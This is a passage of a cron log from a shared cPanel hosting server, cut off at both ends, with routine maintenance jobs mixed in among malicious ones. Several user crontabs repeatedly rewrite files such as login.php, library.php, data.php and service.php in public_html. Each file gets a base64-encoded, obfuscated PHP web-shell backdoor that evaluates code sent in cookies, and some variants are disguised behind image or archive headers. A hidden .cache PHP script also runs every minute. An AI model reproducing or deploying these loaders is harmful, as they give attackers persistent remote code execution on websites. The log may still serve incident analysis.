bJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:30:02 medusa CROND[4753]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 02:30:02 medusa CROND[4809]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:31:02 medusa CROND[11261]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:31:02 medusa CROND[11262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:31:02 medusa CROND[11263]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:31:02 medusa CROND[11264]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:31:02 medusa CROND[11265]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 02:31:02 medusa CROND[11266]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:31:02 medusa CROND[11268]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:31:02 medusa CROND[11267]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:31:02 medusa CROND[11274]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:31:02 medusa CROND[11275]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 02:31:02 medusa CROND[11277]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:31:02 medusa CROND[11280]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:31:02 medusa CROND[11290]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:32:01 medusa CROND[18650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:32:02 medusa CROND[18764]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:32:02 medusa CROND[18765]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:32:02 medusa CROND[18767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:32:02 medusa CROND[18768]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:32:02 medusa CROND[18771]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:32:02 medusa CROND[18774]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 02:32:02 medusa CROND[18775]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:32:02 medusa CROND[18776]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:32:02 medusa CROND[18781]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:32:02 medusa CROND[18785]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:32:02 medusa CROND[18786]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:32:02 medusa CROND[18790]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:33:01 medusa CROND[24357]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:33:01 medusa CROND[24358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:33:02 medusa CROND[24360]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 02:33:02 medusa CROND[24362]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:33:02 medusa CROND[24363]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:33:02 medusa CROND[24364]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6b